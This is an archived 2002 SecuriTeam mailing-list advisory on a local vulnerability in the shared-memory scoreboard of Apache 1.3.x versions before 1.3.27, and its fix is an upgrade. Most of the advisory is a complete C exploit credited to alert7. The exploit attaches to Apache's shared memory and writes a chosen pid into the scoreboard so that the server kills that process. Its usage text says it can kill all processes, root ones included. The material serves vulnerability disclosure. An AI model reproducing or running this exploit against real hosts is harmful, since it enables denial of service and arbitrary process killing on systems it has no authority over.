[EXPL] Apache Scoreboard Shared Memory

From: support@securiteam.com
Date: 11/27/02

  • Next message: support@securiteam.com: "[NT] Sybase DROP DATABASE Buffer Overflow"
    From: support@securiteam.com
    To: list@securiteam.com
    Date: 27 Nov 2002 09:26:55 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    Beyond Security would like to welcome Tiscali World Online
    to our service provider team.
    For more info on their service offering IP-Secure,
    please visit http://www.worldonline.co.za/services/work_ip.asp
    - - - - - - - - -

      Apache Scoreboard Shared Memory
    ------------------------------------------------------------------------

    SUMMARY

    As we reported in our previous article:
    <http://www.securiteam.com/unixfocus/6S001155PG.html> Apache 1.3.x Shared
    Memory Scoreboard Vulnerabilities, a vulnerability in Apache allows local
    attackers to shutdown the Apache server using its built-in feature called
    scoreboard.

    DETAILS

    Vulnerable systems:
     * Apache version 1.3.26 and prir

    Immune systems:
     * Apache version 1.3.27

    Apache permits process shutdown with scripting via shared memory
    scoreboard.

    Solution:
    Upgrading to the latest version 1.3.27, solves the problem.

    Exploit:
    #include <stdio.h>
    #include <sys/mman.h>
    #include <unistd.h>
    #include <sys/mman.h>
    #include <sys/time.h>
    #include <sys/times.h>
    #include <sys/types.h>
    #include <sys/ipc.h>
    #include <sys/shm.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <errno.h>

    #define OPTIMIZE_TIMEOUTS

    #ifdef WIN32
    #define HARD_SERVER_LIMIT 1024
    #elif defined(NETWARE)
    #define HARD_SERVER_LIMIT 2048
    #else
    #define HARD_SERVER_LIMIT 256
    #endif

    //typedef char * caddr_t;
    typedef unsigned vtime_t;
    typedef int ap_generation_t;
    typedef char server_rec;

    /* stuff which the children generally write, and the parent mainly reads
    */
    typedef struct {
    #ifdef OPTIMIZE_TIMEOUTS
        vtime_t cur_vtime; /* the child's current vtime */
        unsigned short timeout_len; /* length of the timeout */
    #endif
        unsigned char status;
        unsigned long access_count;
        unsigned long bytes_served;
        unsigned long my_access_count;
        unsigned long my_bytes_served;
        unsigned long conn_bytes;
        unsigned short conn_count;
    #if defined(NO_GETTIMEOFDAY)
        clock_t start_time;
        clock_t stop_time;
    #else
        struct timeval start_time;
        struct timeval stop_time;
    #endif
    #ifndef NO_TIMES
        struct tms times;
    #endif
    #ifndef OPTIMIZE_TIMEOUTS
        time_t last_used;
    #endif
        char client[32]; /* Keep 'em small... */
        char request[64]; /* We just want an idea... */
        server_rec *vhostrec; /* What virtual host is being accessed? */
                                    /* SEE ABOVE FOR SAFE USAGE! */
    } short_score;

    typedef struct {
        ap_generation_t running_generation; /* the generation of children
    which
                                             * should still be serving
    requests. */
    } global_score;

    /* stuff which the parent generally writes and the children rarely read */
    typedef struct {
        pid_t pid;
    #ifdef OPTIMIZE_TIMEOUTS
        time_t last_rtime; /* time(0) of the last change */
        vtime_t last_vtime; /* the last vtime the parent has seen */
    #endif
        ap_generation_t generation; /* generation of this child */
    } parent_score;

    typedef struct {
        short_score servers[HARD_SERVER_LIMIT];
        parent_score parent[HARD_SERVER_LIMIT];
        global_score global;
    } scoreboard;

    #define SCOREBOARD_SIZE sizeof(scoreboard)

    void usage(void)
    {
      printf("apache 1.3.x (x<27) scoreboard shared memory exploit\n"
           "write by alert7 < alert7@xfocus.org >\n"
           "homepage http://www.xfocus.net http://www.whitecell.org/\n\n"
           "usage: ./apache_scoreboard_exploit pid [apache uid]\n"
           "default use getuid to get apache_uid\n"
           "if pid = -1 ,kill all processes in system\n"
           "to kill pid process include root process\n\n");
       printf(
    " [root@redhat73 alert7]# ./apache_openssl_exploit 10 127.0.0.1
       Linux redhat73 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT 2002 i686 unknown
       uid=48(apache) gid=48(apache) groups=48(apache)

      ./apache_scoreboard_exploit 12097 <---input command
     
       process 12097 will be killed

    ");

    }

    extern int errno;

    int main(int argc, char *argv[])
    {
      char * m;
      int i;
        scoreboard *ap_scoreboard_image;
      time_t now = time(NULL);
      key_t shmkey = IPC_PRIVATE;
        int shmid = -1;
      struct shmid_ds shm_buf;
      int apachid=getuid();

        if ((argc !=2)&&(argc !=3 ) )
        {
        usage();
        exit(0);
        }
        
      if (argc ==3)
      {
        apachid=atoi(argv[2]);
      }
        
      for (i=0;i<100 ;i++ )
      {
        shmid = shmctl(i, 0x10d /* SHM_??? */, &shm_buf);
        //printf("%d %d\n",shmid,shm_buf.shm_perm.uid);
        if (shmid == -1)
        {
          printf("Not found apache shared memory\n");
          exit(0);
        }

        if (shm_buf.shm_perm.uid==apachid)
        {
          if (shm_buf.shm_nattch > 4) break;
        }
      }

      m = shmat(shmid,NULL,0);
        
      if (m == -1)
      {
        perror("shmat");
        exit(-1);
      }
    // printf("share mem scoreboard addr :%p\n",m);
      printf("apache 1.3.x (x<27) scoreboard shared memory exploit\n"
           "write by alert7 < alert7@xfocus.org >\n"
           "homepage http://www.xfocus.net http://www.whitecell.org/\n\n"
           );
        ap_scoreboard_image = (scoreboard *) m;
      for (i=0;i<HARD_SERVER_LIMIT ;i++ )
      {
        ap_scoreboard_image->parent[i].pid = atoi(argv[1]);
        ap_scoreboard_image->parent[i].last_rtime = now-3*60*60;//使用三个小时
      ap_scoreboard_image->servers[i].status = 2;

      }
      
       printf("process %s will be killed\n\n",argv[1]);
       return 0;
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:alert7@xfocus.org> alert7 of
    Xfocus.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



    Relevant Pages